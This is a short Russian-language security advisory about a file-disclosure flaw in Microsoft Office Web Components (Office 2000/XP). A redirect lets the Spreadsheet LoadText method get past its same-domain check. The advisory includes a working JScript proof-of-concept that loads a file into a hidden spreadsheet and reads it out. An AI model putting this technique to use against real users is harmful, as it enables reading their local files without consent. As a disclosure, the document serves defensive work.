Office Web Components (OWC) - компонент Microsoft Office, используемый для создания HTML документов с электронными таблицами, диаграммами и т.п. В Office 2000 содержится 9-я версия OWC, в Office XP - 10-я.
Используя компонент Spreadsheet и в OWC9 и OWC10, можно прочитать любой местный или удаленный файл. Метод
"LoadText" процедуры Range использует URL в качестве первого параметра; он выдает ошибку, если
переданный URL не находится в той же самой области, в которой расположен текущий документ. Однако, эта защита может быть легко обойдена,
если URL переадресует запрос к местному или удаленному файлу. OWC будет думать, что URL безопасен и
загрузит содержание файла в электронную таблицу
откуда его уже легко выцепить.
Уязвимость найдена в Office 2000, XP.
<object classid="clsid:0002E510-0000-0000-C000-000000000046" id="oSP" style="display:none"></object>
<script language="jscript">
onload=function () {
try {
// Load file into spreadsheet
oSP.ActiveSheet.UsedRange.LoadText("1.asp");
// Read the spreadsheet
var oRng=oSP.ActiveSheet.UsedRange,
iRows=oRng.Rows.Count,
iCols=oRng.Columns.Count,
sRes="";
for (var iCRow=1;iCRow<=iRows;iCRow++) {
for (var iCCol=1;iCCol<=iCols;iCCol++) {
sRes+=(oSP.Cells(iCRow,iCCol).Value || "")+"\t";
}
sRes+="\n";
}
// Display result
alert(sRes);
}
catch (oErr) {
// Failed
alert("File not found.");
}
}
</script>